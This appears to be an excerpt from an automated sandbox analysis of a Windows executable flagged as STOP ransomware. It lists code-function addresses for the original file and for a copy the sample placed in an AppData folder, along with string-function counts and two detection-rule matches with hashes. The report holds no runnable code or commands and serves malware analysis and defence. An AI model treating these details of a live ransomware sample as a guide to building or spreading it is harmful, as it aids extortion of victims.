Source: C:\Users\user\Desktop\f6ffg1sZS2.exe	Code function: 0_2_007C9506	0_2_007C9506
Source: C:\Users\user\Desktop\f6ffg1sZS2.exe	Code function: 0_2_007CB5B1	0_2_007CB5B1
Source: C:\Users\user\Desktop\f6ffg1sZS2.exe	Code function: 0_2_007BE5A3	0_2_007BE5A3
Source: C:\Users\user\Desktop\f6ffg1sZS2.exe	Code function: 0_2_007B5675	0_2_007B5675
Source: C:\Users\user\Desktop\f6ffg1sZS2.exe	Code function: 0_2_0078A660	0_2_0078A660
Source: C:\Users\user\Desktop\f6ffg1sZS2.exe	Code function: 0_2_0079E690	0_2_0079E690
Source: C:\Users\user\Desktop\f6ffg1sZS2.exe	Code function: 0_2_00789686	0_2_00789686
Source: C:\Users\user\Desktop\f6ffg1sZS2.exe	Code function: 0_2_00782750	0_2_00782750
Source: C:\Users\user\Desktop\f6ffg1sZS2.exe	Code function: 0_2_00786740	0_2_00786740
Source: C:\Users\user\Desktop\f6ffg1sZS2.exe	Code function: 0_2_0078F730	0_2_0078F730
Source: C:\Users\user\Desktop\f6ffg1sZS2.exe	Code function: 0_2_0078A710	0_2_0078A710
Source: C:\Users\user\Desktop\f6ffg1sZS2.exe	Code function: 0_2_007CD7A1	0_2_007CD7A1
Source: C:\Users\user\Desktop\f6ffg1sZS2.exe	Code function: 0_2_00788780	0_2_00788780
Source: C:\Users\user\Desktop\f6ffg1sZS2.exe	Code function: 0_2_007AC804	0_2_007AC804
Source: C:\Users\user\Desktop\f6ffg1sZS2.exe	Code function: 0_2_00786880	0_2_00786880
Source: C:\Users\user\Desktop\f6ffg1sZS2.exe	Code function: 0_2_007B49F3	0_2_007B49F3
Source: C:\Users\user\Desktop\f6ffg1sZS2.exe	Code function: 0_2_007869F3	0_2_007869F3
Source: C:\Users\user\Desktop\f6ffg1sZS2.exe	Code function: 0_2_007CD9DC	0_2_007CD9DC
Source: C:\Users\user\Desktop\f6ffg1sZS2.exe	Code function: 0_2_00801920	0_2_00801920
Source: C:\Users\user\Desktop\f6ffg1sZS2.exe	Code function: 0_2_007C9A71	0_2_007C9A71
Source: C:\Users\user\Desktop\f6ffg1sZS2.exe	Code function: 0_2_007C3B40	0_2_007C3B40
Source: C:\Users\user\Desktop\f6ffg1sZS2.exe	Code function: 0_2_00782B80	0_2_00782B80
Source: C:\Users\user\Desktop\f6ffg1sZS2.exe	Code function: 0_2_00786B80	0_2_00786B80
Source: C:\Users\user\Desktop\f6ffg1sZS2.exe	Code function: 0_2_00789CF9	0_2_00789CF9
Source: C:\Users\user\Desktop\f6ffg1sZS2.exe	Code function: 0_2_007CACFF	0_2_007CACFF
Source: C:\Users\user\Desktop\f6ffg1sZS2.exe	Code function: 0_2_007A7D6C	0_2_007A7D6C
Source: C:\Users\user\Desktop\f6ffg1sZS2.exe	Code function: 0_2_0078DD40	0_2_0078DD40
Source: C:\Users\user\Desktop\f6ffg1sZS2.exe	Code function: 0_2_00789DFA	0_2_00789DFA
Source: C:\Users\user\Desktop\f6ffg1sZS2.exe	Code function: 0_2_0078BDC0	0_2_0078BDC0
Source: C:\Users\user\Desktop\f6ffg1sZS2.exe	Code function: 0_2_007ACE51	0_2_007ACE51
Source: C:\Users\user\Desktop\f6ffg1sZS2.exe	Code function: 0_2_007B4E0B	0_2_007B4E0B
Source: C:\Users\user\Desktop\f6ffg1sZS2.exe	Code function: 0_2_00786EE0	0_2_00786EE0
Source: C:\Users\user\Desktop\f6ffg1sZS2.exe	Code function: 0_2_00789F76	0_2_00789F76
Source: C:\Users\user\Desktop\f6ffg1sZS2.exe	Code function: 0_2_007A0F30	0_2_007A0F30
Source: C:\Users\user\Desktop\f6ffg1sZS2.exe	Code function: 0_2_007C9FE3	0_2_007C9FE3
Source: C:\Users\user\Desktop\f6ffg1sZS2.exe	Code function: 2_2_007AE003	2_2_007AE003
Source: C:\Users\user\Desktop\f6ffg1sZS2.exe	Code function: 2_2_0078D240	2_2_0078D240
Source: C:\Users\user\Desktop\f6ffg1sZS2.exe	Code function: 2_2_0079E690	2_2_0079E690
Source: C:\Users\user\Desktop\f6ffg1sZS2.exe	Code function: 2_2_0078F730	2_2_0078F730
Source: C:\Users\user\Desktop\f6ffg1sZS2.exe	Code function: 2_2_00801920	2_2_00801920
Source: C:\Users\user\Desktop\f6ffg1sZS2.exe	Code function: 2_2_00799F90	2_2_00799F90
Source: C:\Users\user\Desktop\f6ffg1sZS2.exe	Code function: 2_2_0078C070	2_2_0078C070
Source: C:\Users\user\Desktop\f6ffg1sZS2.exe	Code function: 2_2_00785057	2_2_00785057
Source: C:\Users\user\Desktop\f6ffg1sZS2.exe	Code function: 2_2_00788030	2_2_00788030
Source: C:\Users\user\Desktop\f6ffg1sZS2.exe	Code function: 2_2_007AF010	2_2_007AF010
Source: C:\Users\user\Desktop\f6ffg1sZS2.exe	Code function: 2_2_007870E0	2_2_007870E0
Source: C:\Users\user\Desktop\f6ffg1sZS2.exe	Code function: 2_2_00790160	2_2_00790160
Source: C:\Users\user\Desktop\f6ffg1sZS2.exe	Code function: 2_2_00848113	2_2_00848113
Source: C:\Users\user\Desktop\f6ffg1sZS2.exe	Code function: 2_2_007821C0	2_2_007821C0
Source: C:\Users\user\Desktop\f6ffg1sZS2.exe	Code function: 2_2_007B5240	2_2_007B5240
Source: C:\Users\user\Desktop\f6ffg1sZS2.exe	Code function: 2_2_007C237E	2_2_007C237E
Source: C:\Users\user\Desktop\f6ffg1sZS2.exe	Code function: 2_2_00849343	2_2_00849343
Source: C:\Users\user\Desktop\f6ffg1sZS2.exe	Code function: 2_2_00785457	2_2_00785457
Source: C:\Users\user\Desktop\f6ffg1sZS2.exe	Code function: 2_2_00785447	2_2_00785447
Source: C:\Users\user\Desktop\f6ffg1sZS2.exe	Code function: 2_2_007B44FF	2_2_007B44FF
Source: C:\Users\user\Desktop\f6ffg1sZS2.exe	Code function: 2_2_007884C0	2_2_007884C0
Source: C:\Users\user\Desktop\f6ffg1sZS2.exe	Code function: 2_2_007C9506	2_2_007C9506
Source: C:\Users\user\Desktop\f6ffg1sZS2.exe	Code function: 2_2_007CB5B1	2_2_007CB5B1
Source: C:\Users\user\Desktop\f6ffg1sZS2.exe	Code function: 2_2_007BE5A3	2_2_007BE5A3
Source: C:\Users\user\Desktop\f6ffg1sZS2.exe	Code function: 2_2_007B5675	2_2_007B5675
Source: C:\Users\user\Desktop\f6ffg1sZS2.exe	Code function: 2_2_0078A660	2_2_0078A660
Source: C:\Users\user\Desktop\f6ffg1sZS2.exe	Code function: 2_2_00789686	2_2_00789686
Source: C:\Users\user\Desktop\f6ffg1sZS2.exe	Code function: 2_2_00782750	2_2_00782750
Source: C:\Users\user\Desktop\f6ffg1sZS2.exe	Code function: 2_2_00786740	2_2_00786740
Source: C:\Users\user\Desktop\f6ffg1sZS2.exe	Code function: 2_2_0078A710	2_2_0078A710
Source: C:\Users\user\Desktop\f6ffg1sZS2.exe	Code function: 2_2_007CD7A1	2_2_007CD7A1
Source: C:\Users\user\Desktop\f6ffg1sZS2.exe	Code function: 2_2_00788780	2_2_00788780
Source: C:\Users\user\Desktop\f6ffg1sZS2.exe	Code function: 2_2_007AC804	2_2_007AC804
Source: C:\Users\user\Desktop\f6ffg1sZS2.exe	Code function: 2_2_00786880	2_2_00786880
Source: C:\Users\user\Desktop\f6ffg1sZS2.exe	Code function: 2_2_007B49F3	2_2_007B49F3
Source: C:\Users\user\Desktop\f6ffg1sZS2.exe	Code function: 2_2_007869F3	2_2_007869F3
Source: C:\Users\user\Desktop\f6ffg1sZS2.exe	Code function: 2_2_007CD9DC	2_2_007CD9DC
Source: C:\Users\user\Desktop\f6ffg1sZS2.exe	Code function: 2_2_007C9A71	2_2_007C9A71
Source: C:\Users\user\Desktop\f6ffg1sZS2.exe	Code function: 2_2_007C3B40	2_2_007C3B40
Source: C:\Users\user\Desktop\f6ffg1sZS2.exe	Code function: 2_2_00782B80	2_2_00782B80
Source: C:\Users\user\Desktop\f6ffg1sZS2.exe	Code function: 2_2_00786B80	2_2_00786B80
Source: C:\Users\user\Desktop\f6ffg1sZS2.exe	Code function: 2_2_00789CF9	2_2_00789CF9
Source: C:\Users\user\Desktop\f6ffg1sZS2.exe	Code function: 2_2_007CACFF	2_2_007CACFF
Source: C:\Users\user\Desktop\f6ffg1sZS2.exe	Code function: 2_2_007A7D6C	2_2_007A7D6C
Source: C:\Users\user\Desktop\f6ffg1sZS2.exe	Code function: 2_2_0078DD40	2_2_0078DD40
Source: C:\Users\user\Desktop\f6ffg1sZS2.exe	Code function: 2_2_00789DFA	2_2_00789DFA
Source: C:\Users\user\Desktop\f6ffg1sZS2.exe	Code function: 2_2_0078BDC0	2_2_0078BDC0
Source: C:\Users\user\Desktop\f6ffg1sZS2.exe	Code function: 2_2_007ACE51	2_2_007ACE51
Source: C:\Users\user\Desktop\f6ffg1sZS2.exe	Code function: 2_2_007B4E0B	2_2_007B4E0B
Source: C:\Users\user\Desktop\f6ffg1sZS2.exe	Code function: 2_2_00786EE0	2_2_00786EE0
Source: C:\Users\user\Desktop\f6ffg1sZS2.exe	Code function: 2_2_00789F76	2_2_00789F76
Source: C:\Users\user\Desktop\f6ffg1sZS2.exe	Code function: 2_2_007A0F30	2_2_007A0F30
Source: C:\Users\user\Desktop\f6ffg1sZS2.exe	Code function: 2_2_007C9FE3	2_2_007C9FE3
Source: C:\Users\user\AppData\Local\d2583024-77e1-4eea-bc4b-ca78b6310beb\f6ffg1sZS2.exe	Code function: 3_2_00F8E003	3_2_00F8E003
Source: C:\Users\user\AppData\Local\d2583024-77e1-4eea-bc4b-ca78b6310beb\f6ffg1sZS2.exe	Code function: 3_2_00F7E690	3_2_00F7E690
Source: C:\Users\user\AppData\Local\d2583024-77e1-4eea-bc4b-ca78b6310beb\f6ffg1sZS2.exe	Code function: 3_2_00F6F730	3_2_00F6F730
Source: C:\Users\user\AppData\Local\d2583024-77e1-4eea-bc4b-ca78b6310beb\f6ffg1sZS2.exe	Code function: 3_2_00FE1920	3_2_00FE1920
Source: C:\Users\user\AppData\Local\d2583024-77e1-4eea-bc4b-ca78b6310beb\f6ffg1sZS2.exe	Code function: 3_2_00F79F90	3_2_00F79F90
Source: C:\Users\user\AppData\Local\d2583024-77e1-4eea-bc4b-ca78b6310beb\f6ffg1sZS2.exe	Code function: 3_2_01028113	3_2_01028113
Source: C:\Users\user\AppData\Local\d2583024-77e1-4eea-bc4b-ca78b6310beb\f6ffg1sZS2.exe	Code function: 3_2_00F670E0	3_2_00F670E0
Source: C:\Users\user\AppData\Local\d2583024-77e1-4eea-bc4b-ca78b6310beb\f6ffg1sZS2.exe	Code function: 3_2_00F6C070	3_2_00F6C070
Source: C:\Users\user\AppData\Local\d2583024-77e1-4eea-bc4b-ca78b6310beb\f6ffg1sZS2.exe	Code function: 3_2_00F65057	3_2_00F65057
Source: C:\Users\user\AppData\Local\d2583024-77e1-4eea-bc4b-ca78b6310beb\f6ffg1sZS2.exe	Code function: 3_2_00F68030	3_2_00F68030
Source: C:\Users\user\AppData\Local\d2583024-77e1-4eea-bc4b-ca78b6310beb\f6ffg1sZS2.exe	Code function: 3_2_00F8F010	3_2_00F8F010
Source: C:\Users\user\AppData\Local\d2583024-77e1-4eea-bc4b-ca78b6310beb\f6ffg1sZS2.exe	Code function: 3_2_00F621C0	3_2_00F621C0
Source: C:\Users\user\AppData\Local\d2583024-77e1-4eea-bc4b-ca78b6310beb\f6ffg1sZS2.exe	Code function: 3_2_00F70160	3_2_00F70160
Source: C:\Users\user\AppData\Local\d2583024-77e1-4eea-bc4b-ca78b6310beb\f6ffg1sZS2.exe	Code function: 3_2_01029343	3_2_01029343
Source: C:\Users\user\AppData\Local\d2583024-77e1-4eea-bc4b-ca78b6310beb\f6ffg1sZS2.exe	Code function: 3_2_00F6D240	3_2_00F6D240
Source: C:\Users\user\AppData\Local\d2583024-77e1-4eea-bc4b-ca78b6310beb\f6ffg1sZS2.exe	Code function: 3_2_00FA237E	3_2_00FA237E
Source: C:\Users\user\AppData\Local\d2583024-77e1-4eea-bc4b-ca78b6310beb\f6ffg1sZS2.exe	Code function: 3_2_00F944FF	3_2_00F944FF
Source: C:\Users\user\AppData\Local\d2583024-77e1-4eea-bc4b-ca78b6310beb\f6ffg1sZS2.exe	Code function: 3_2_00F684C0	3_2_00F684C0
Source: C:\Users\user\AppData\Local\d2583024-77e1-4eea-bc4b-ca78b6310beb\f6ffg1sZS2.exe	Code function: 3_2_00F65457	3_2_00F65457
Source: C:\Users\user\AppData\Local\d2583024-77e1-4eea-bc4b-ca78b6310beb\f6ffg1sZS2.exe	Code function: 3_2_00F65447	3_2_00F65447
Source: C:\Users\user\AppData\Local\d2583024-77e1-4eea-bc4b-ca78b6310beb\f6ffg1sZS2.exe	Code function: 3_2_00FAB5B1	3_2_00FAB5B1
Source: C:\Users\user\AppData\Local\d2583024-77e1-4eea-bc4b-ca78b6310beb\f6ffg1sZS2.exe	Code function: 3_2_00F9E5A3	3_2_00F9E5A3
Source: C:\Users\user\AppData\Local\d2583024-77e1-4eea-bc4b-ca78b6310beb\f6ffg1sZS2.exe	Code function: 3_2_00FA9506	3_2_00FA9506
Source: C:\Users\user\AppData\Local\d2583024-77e1-4eea-bc4b-ca78b6310beb\f6ffg1sZS2.exe	Code function: 3_2_00F69686	3_2_00F69686
Source: C:\Users\user\AppData\Local\d2583024-77e1-4eea-bc4b-ca78b6310beb\f6ffg1sZS2.exe	Code function: 3_2_00F6A660	3_2_00F6A660
Source: C:\Users\user\AppData\Local\d2583024-77e1-4eea-bc4b-ca78b6310beb\f6ffg1sZS2.exe	Code function: 3_2_00FAD7A1	3_2_00FAD7A1
Source: C:\Users\user\AppData\Local\d2583024-77e1-4eea-bc4b-ca78b6310beb\f6ffg1sZS2.exe	Code function: 3_2_00F68780	3_2_00F68780
Source: C:\Users\user\AppData\Local\d2583024-77e1-4eea-bc4b-ca78b6310beb\f6ffg1sZS2.exe	Code function: 3_2_00F62750	3_2_00F62750
Source: C:\Users\user\AppData\Local\d2583024-77e1-4eea-bc4b-ca78b6310beb\f6ffg1sZS2.exe	Code function: 3_2_00F66740	3_2_00F66740
Source: C:\Users\user\AppData\Local\d2583024-77e1-4eea-bc4b-ca78b6310beb\f6ffg1sZS2.exe	Code function: 3_2_00F6A710	3_2_00F6A710
Source: C:\Users\user\AppData\Local\d2583024-77e1-4eea-bc4b-ca78b6310beb\f6ffg1sZS2.exe	Code function: 3_2_00F66880	3_2_00F66880
Source: C:\Users\user\AppData\Local\d2583024-77e1-4eea-bc4b-ca78b6310beb\f6ffg1sZS2.exe	Code function: 3_2_00F8C804	3_2_00F8C804
Source: C:\Users\user\AppData\Local\d2583024-77e1-4eea-bc4b-ca78b6310beb\f6ffg1sZS2.exe	Code function: 3_2_00F669F3	3_2_00F669F3
Source: C:\Users\user\AppData\Local\d2583024-77e1-4eea-bc4b-ca78b6310beb\f6ffg1sZS2.exe	Code function: 3_2_00FAD9DC	3_2_00FAD9DC
Source: C:\Users\user\AppData\Local\d2583024-77e1-4eea-bc4b-ca78b6310beb\f6ffg1sZS2.exe	Code function: 3_2_00FA9A71	3_2_00FA9A71
Source: C:\Users\user\AppData\Local\d2583024-77e1-4eea-bc4b-ca78b6310beb\f6ffg1sZS2.exe	Code function: 3_2_00F62B80	3_2_00F62B80
Source: C:\Users\user\AppData\Local\d2583024-77e1-4eea-bc4b-ca78b6310beb\f6ffg1sZS2.exe	Code function: 3_2_00F66B80	3_2_00F66B80
Source: C:\Users\user\AppData\Local\d2583024-77e1-4eea-bc4b-ca78b6310beb\f6ffg1sZS2.exe	Code function: 3_2_00FA3B40	3_2_00FA3B40
Source: C:\Users\user\AppData\Local\d2583024-77e1-4eea-bc4b-ca78b6310beb\f6ffg1sZS2.exe	Code function: 3_2_00FAACFF	3_2_00FAACFF
Source: C:\Users\user\AppData\Local\d2583024-77e1-4eea-bc4b-ca78b6310beb\f6ffg1sZS2.exe	Code function: 3_2_00F69CF9	3_2_00F69CF9
Source: C:\Users\user\AppData\Local\d2583024-77e1-4eea-bc4b-ca78b6310beb\f6ffg1sZS2.exe	Code function: 3_2_00F69DFA	3_2_00F69DFA
Source: C:\Users\user\AppData\Local\d2583024-77e1-4eea-bc4b-ca78b6310beb\f6ffg1sZS2.exe	Code function: 3_2_00F6BDC0	3_2_00F6BDC0
Source: C:\Users\user\AppData\Local\d2583024-77e1-4eea-bc4b-ca78b6310beb\f6ffg1sZS2.exe	Code function: 3_2_00F87D6C	3_2_00F87D6C
Source: C:\Users\user\AppData\Local\d2583024-77e1-4eea-bc4b-ca78b6310beb\f6ffg1sZS2.exe	Code function: 3_2_00F6DD40	3_2_00F6DD40
Source: C:\Users\user\AppData\Local\d2583024-77e1-4eea-bc4b-ca78b6310beb\f6ffg1sZS2.exe	Code function: 3_2_00F66EE0	3_2_00F66EE0
Source: C:\Users\user\AppData\Local\d2583024-77e1-4eea-bc4b-ca78b6310beb\f6ffg1sZS2.exe	Code function: 3_2_00F8CE51	3_2_00F8CE51
Source: C:\Users\user\AppData\Local\d2583024-77e1-4eea-bc4b-ca78b6310beb\f6ffg1sZS2.exe	Code function: 3_2_00FA9FE3	3_2_00FA9FE3
Source: C:\Users\user\AppData\Local\d2583024-77e1-4eea-bc4b-ca78b6310beb\f6ffg1sZS2.exe	Code function: 3_2_00F69F76	3_2_00F69F76
Source: C:\Users\user\AppData\Local\d2583024-77e1-4eea-bc4b-ca78b6310beb\f6ffg1sZS2.exe	Code function: 3_2_00F80F30	3_2_00F80F30
Source: C:\Users\user\AppData\Local\d2583024-77e1-4eea-bc4b-ca78b6310beb\f6ffg1sZS2.exe	Code function: 4_2_00F79F90	4_2_00F79F90
Source: C:\Users\user\AppData\Local\d2583024-77e1-4eea-bc4b-ca78b6310beb\f6ffg1sZS2.exe	Code function: 4_2_01028113	4_2_01028113
Source: C:\Users\user\AppData\Local\d2583024-77e1-4eea-bc4b-ca78b6310beb\f6ffg1sZS2.exe	Code function: 4_2_00F670E0	4_2_00F670E0
Source: C:\Users\user\AppData\Local\d2583024-77e1-4eea-bc4b-ca78b6310beb\f6ffg1sZS2.exe	Code function: 4_2_00F6C070	4_2_00F6C070
Source: C:\Users\user\AppData\Local\d2583024-77e1-4eea-bc4b-ca78b6310beb\f6ffg1sZS2.exe	Code function: 4_2_00F65057	4_2_00F65057
Source: C:\Users\user\AppData\Local\d2583024-77e1-4eea-bc4b-ca78b6310beb\f6ffg1sZS2.exe	Code function: 4_2_00F68030	4_2_00F68030
Source: C:\Users\user\AppData\Local\d2583024-77e1-4eea-bc4b-ca78b6310beb\f6ffg1sZS2.exe	Code function: 4_2_00F8F010	4_2_00F8F010
Source: C:\Users\user\AppData\Local\d2583024-77e1-4eea-bc4b-ca78b6310beb\f6ffg1sZS2.exe	Code function: 4_2_00F8E003	4_2_00F8E003
Source: C:\Users\user\AppData\Local\d2583024-77e1-4eea-bc4b-ca78b6310beb\f6ffg1sZS2.exe	Code function: 4_2_00F621C0	4_2_00F621C0
Source: C:\Users\user\AppData\Local\d2583024-77e1-4eea-bc4b-ca78b6310beb\f6ffg1sZS2.exe	Code function: 4_2_00F70160	4_2_00F70160
Source: C:\Users\user\AppData\Local\d2583024-77e1-4eea-bc4b-ca78b6310beb\f6ffg1sZS2.exe	Code function: 4_2_01029343	4_2_01029343
Source: C:\Users\user\AppData\Local\d2583024-77e1-4eea-bc4b-ca78b6310beb\f6ffg1sZS2.exe	Code function: 4_2_00F6D240	4_2_00F6D240
Source: C:\Users\user\AppData\Local\d2583024-77e1-4eea-bc4b-ca78b6310beb\f6ffg1sZS2.exe	Code function: 4_2_00FA237E	4_2_00FA237E
Source: C:\Users\user\AppData\Local\d2583024-77e1-4eea-bc4b-ca78b6310beb\f6ffg1sZS2.exe	Code function: 4_2_00F944FF	4_2_00F944FF
Source: C:\Users\user\AppData\Local\d2583024-77e1-4eea-bc4b-ca78b6310beb\f6ffg1sZS2.exe	Code function: 4_2_00F684C0	4_2_00F684C0
Source: C:\Users\user\AppData\Local\d2583024-77e1-4eea-bc4b-ca78b6310beb\f6ffg1sZS2.exe	Code function: 4_2_00F65457	4_2_00F65457
Source: C:\Users\user\AppData\Local\d2583024-77e1-4eea-bc4b-ca78b6310beb\f6ffg1sZS2.exe	Code function: 4_2_00F65447	4_2_00F65447
Source: C:\Users\user\AppData\Local\d2583024-77e1-4eea-bc4b-ca78b6310beb\f6ffg1sZS2.exe	Code function: 4_2_00FAB5B1	4_2_00FAB5B1
Source: C:\Users\user\AppData\Local\d2583024-77e1-4eea-bc4b-ca78b6310beb\f6ffg1sZS2.exe	Code function: 4_2_00F9E5A3	4_2_00F9E5A3
Source: C:\Users\user\AppData\Local\d2583024-77e1-4eea-bc4b-ca78b6310beb\f6ffg1sZS2.exe	Code function: 4_2_00FA9506	4_2_00FA9506
Source: C:\Users\user\AppData\Local\d2583024-77e1-4eea-bc4b-ca78b6310beb\f6ffg1sZS2.exe	Code function: 4_2_00F7E690	4_2_00F7E690
Source: C:\Users\user\AppData\Local\d2583024-77e1-4eea-bc4b-ca78b6310beb\f6ffg1sZS2.exe	Code function: 4_2_00F69686	4_2_00F69686
Source: C:\Users\user\AppData\Local\d2583024-77e1-4eea-bc4b-ca78b6310beb\f6ffg1sZS2.exe	Code function: 4_2_00F6A660	4_2_00F6A660
Source: C:\Users\user\AppData\Local\d2583024-77e1-4eea-bc4b-ca78b6310beb\f6ffg1sZS2.exe	Code function: 4_2_00FAD7A1	4_2_00FAD7A1
Source: C:\Users\user\AppData\Local\d2583024-77e1-4eea-bc4b-ca78b6310beb\f6ffg1sZS2.exe	Code function: 4_2_00F68780	4_2_00F68780
Source: C:\Users\user\AppData\Local\d2583024-77e1-4eea-bc4b-ca78b6310beb\f6ffg1sZS2.exe	Code function: 4_2_00F62750	4_2_00F62750
Source: C:\Users\user\AppData\Local\d2583024-77e1-4eea-bc4b-ca78b6310beb\f6ffg1sZS2.exe	Code function: 4_2_00F66740	4_2_00F66740
Source: C:\Users\user\AppData\Local\d2583024-77e1-4eea-bc4b-ca78b6310beb\f6ffg1sZS2.exe	Code function: 4_2_00F6F730	4_2_00F6F730
Source: C:\Users\user\AppData\Local\d2583024-77e1-4eea-bc4b-ca78b6310beb\f6ffg1sZS2.exe	Code function: 4_2_00F6A710	4_2_00F6A710
Source: C:\Users\user\AppData\Local\d2583024-77e1-4eea-bc4b-ca78b6310beb\f6ffg1sZS2.exe	Code function: 4_2_00F66880	4_2_00F66880
Source: C:\Users\user\AppData\Local\d2583024-77e1-4eea-bc4b-ca78b6310beb\f6ffg1sZS2.exe	Code function: 4_2_00F8C804	4_2_00F8C804
Source: C:\Users\user\AppData\Local\d2583024-77e1-4eea-bc4b-ca78b6310beb\f6ffg1sZS2.exe	Code function: 4_2_00F669F3	4_2_00F669F3
Source: C:\Users\user\AppData\Local\d2583024-77e1-4eea-bc4b-ca78b6310beb\f6ffg1sZS2.exe	Code function: 4_2_00FAD9DC	4_2_00FAD9DC
Source: C:\Users\user\AppData\Local\d2583024-77e1-4eea-bc4b-ca78b6310beb\f6ffg1sZS2.exe	Code function: 4_2_00FE1920	4_2_00FE1920
Source: C:\Users\user\AppData\Local\d2583024-77e1-4eea-bc4b-ca78b6310beb\f6ffg1sZS2.exe	Code function: 4_2_00FA9A71	4_2_00FA9A71
Source: C:\Users\user\AppData\Local\d2583024-77e1-4eea-bc4b-ca78b6310beb\f6ffg1sZS2.exe	Code function: 4_2_00F62B80	4_2_00F62B80
Source: C:\Users\user\AppData\Local\d2583024-77e1-4eea-bc4b-ca78b6310beb\f6ffg1sZS2.exe	Code function: 4_2_00F66B80	4_2_00F66B80
Source: C:\Users\user\AppData\Local\d2583024-77e1-4eea-bc4b-ca78b6310beb\f6ffg1sZS2.exe	Code function: 4_2_00FA3B40	4_2_00FA3B40
Source: C:\Users\user\AppData\Local\d2583024-77e1-4eea-bc4b-ca78b6310beb\f6ffg1sZS2.exe	Code function: 4_2_00FAACFF	4_2_00FAACFF
Source: C:\Users\user\AppData\Local\d2583024-77e1-4eea-bc4b-ca78b6310beb\f6ffg1sZS2.exe	Code function: 4_2_00F69CF9	4_2_00F69CF9
Source: C:\Users\user\AppData\Local\d2583024-77e1-4eea-bc4b-ca78b6310beb\f6ffg1sZS2.exe	Code function: 4_2_00F69DFA	4_2_00F69DFA
Source: C:\Users\user\AppData\Local\d2583024-77e1-4eea-bc4b-ca78b6310beb\f6ffg1sZS2.exe	Code function: 4_2_00F6BDC0	4_2_00F6BDC0
Source: C:\Users\user\AppData\Local\d2583024-77e1-4eea-bc4b-ca78b6310beb\f6ffg1sZS2.exe	Code function: 4_2_00F87D6C	4_2_00F87D6C
Source: C:\Users\user\AppData\Local\d2583024-77e1-4eea-bc4b-ca78b6310beb\f6ffg1sZS2.exe	Code function: 4_2_00F6DD40	4_2_00F6DD40
Source: C:\Users\user\AppData\Local\d2583024-77e1-4eea-bc4b-ca78b6310beb\f6ffg1sZS2.exe	Code function: 4_2_00F66EE0	4_2_00F66EE0
Source: C:\Users\user\AppData\Local\d2583024-77e1-4eea-bc4b-ca78b6310beb\f6ffg1sZS2.exe	Code function: 4_2_00F8CE51	4_2_00F8CE51
Source: C:\Users\user\AppData\Local\d2583024-77e1-4eea-bc4b-ca78b6310beb\f6ffg1sZS2.exe	Code function: 4_2_00FA9FE3	4_2_00FA9FE3
Source: C:\Users\user\AppData\Local\d2583024-77e1-4eea-bc4b-ca78b6310beb\f6ffg1sZS2.exe	Code function: 4_2_00F69F76	4_2_00F69F76
Source: C:\Users\user\AppData\Local\d2583024-77e1-4eea-bc4b-ca78b6310beb\f6ffg1sZS2.exe	Code function: 4_2_00F80F30	4_2_00F80F30

Source: C:\Users\user\AppData\Local\d2583024-77e1-4eea-bc4b-ca78b6310beb\f6ffg1sZS2.exe	Code function: String function: 00FB0870 appears 52 times
Source: C:\Users\user\AppData\Local\d2583024-77e1-4eea-bc4b-ca78b6310beb\f6ffg1sZS2.exe	Code function: String function: 00FB47A0 appears 64 times
Source: C:\Users\user\AppData\Local\d2583024-77e1-4eea-bc4b-ca78b6310beb\f6ffg1sZS2.exe	Code function: String function: 00FA1A25 appears 44 times
Source: C:\Users\user\AppData\Local\d2583024-77e1-4eea-bc4b-ca78b6310beb\f6ffg1sZS2.exe	Code function: String function: 00F82587 appears 48 times
Source: C:\Users\user\AppData\Local\d2583024-77e1-4eea-bc4b-ca78b6310beb\f6ffg1sZS2.exe	Code function: String function: 00FB4E50 appears 62 times
Source: C:\Users\user\AppData\Local\d2583024-77e1-4eea-bc4b-ca78b6310beb\f6ffg1sZS2.exe	Code function: String function: 00FAF26C appears 41 times
Source: C:\Users\user\AppData\Local\d2583024-77e1-4eea-bc4b-ca78b6310beb\f6ffg1sZS2.exe	Code function: String function: 00F8F7C0 appears 129 times
Source: C:\Users\user\AppData\Local\d2583024-77e1-4eea-bc4b-ca78b6310beb\f6ffg1sZS2.exe	Code function: String function: 00F88520 appears 135 times
Source: C:\Users\user\AppData\Local\d2583024-77e1-4eea-bc4b-ca78b6310beb\f6ffg1sZS2.exe	Code function: String function: 00FAF23E appears 108 times
Source: C:\Users\user\AppData\Local\d2583024-77e1-4eea-bc4b-ca78b6310beb\f6ffg1sZS2.exe	Code function: String function: 00F80EC2 appears 40 times
Source: C:\Users\user\AppData\Local\d2583024-77e1-4eea-bc4b-ca78b6310beb\f6ffg1sZS2.exe	Code function: String function: 00F88C81 appears 73 times
Source: C:\Users\user\Desktop\f6ffg1sZS2.exe	Code function: String function: 007CF23E appears 108 times
Source: C:\Users\user\Desktop\f6ffg1sZS2.exe	Code function: String function: 007A8520 appears 138 times
Source: C:\Users\user\Desktop\f6ffg1sZS2.exe	Code function: String function: 007A5007 appears 38 times
Source: C:\Users\user\Desktop\f6ffg1sZS2.exe	Code function: String function: 007D47A0 appears 64 times
Source: C:\Users\user\Desktop\f6ffg1sZS2.exe	Code function: String function: 007D4E50 appears 62 times
Source: C:\Users\user\Desktop\f6ffg1sZS2.exe	Code function: String function: 007AF7C0 appears 129 times
Source: C:\Users\user\Desktop\f6ffg1sZS2.exe	Code function: String function: 007C1A25 appears 44 times
Source: C:\Users\user\Desktop\f6ffg1sZS2.exe	Code function: String function: 007D0870 appears 52 times
Source: C:\Users\user\Desktop\f6ffg1sZS2.exe	Code function: String function: 007CF26C appears 41 times
Source: C:\Users\user\Desktop\f6ffg1sZS2.exe	Code function: String function: 007A2587 appears 48 times
Source: C:\Users\user\Desktop\f6ffg1sZS2.exe	Code function: String function: 007A8C81 appears 76 times
Source: C:\Users\user\Desktop\f6ffg1sZS2.exe	Code function: String function: 007A0EC2 appears 40 times

Source: f6ffg1sZS2.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: f6ffg1sZS2.exe, type: SAMPLE	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: f6ffg1sZS2.exe, type: SAMPLE	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
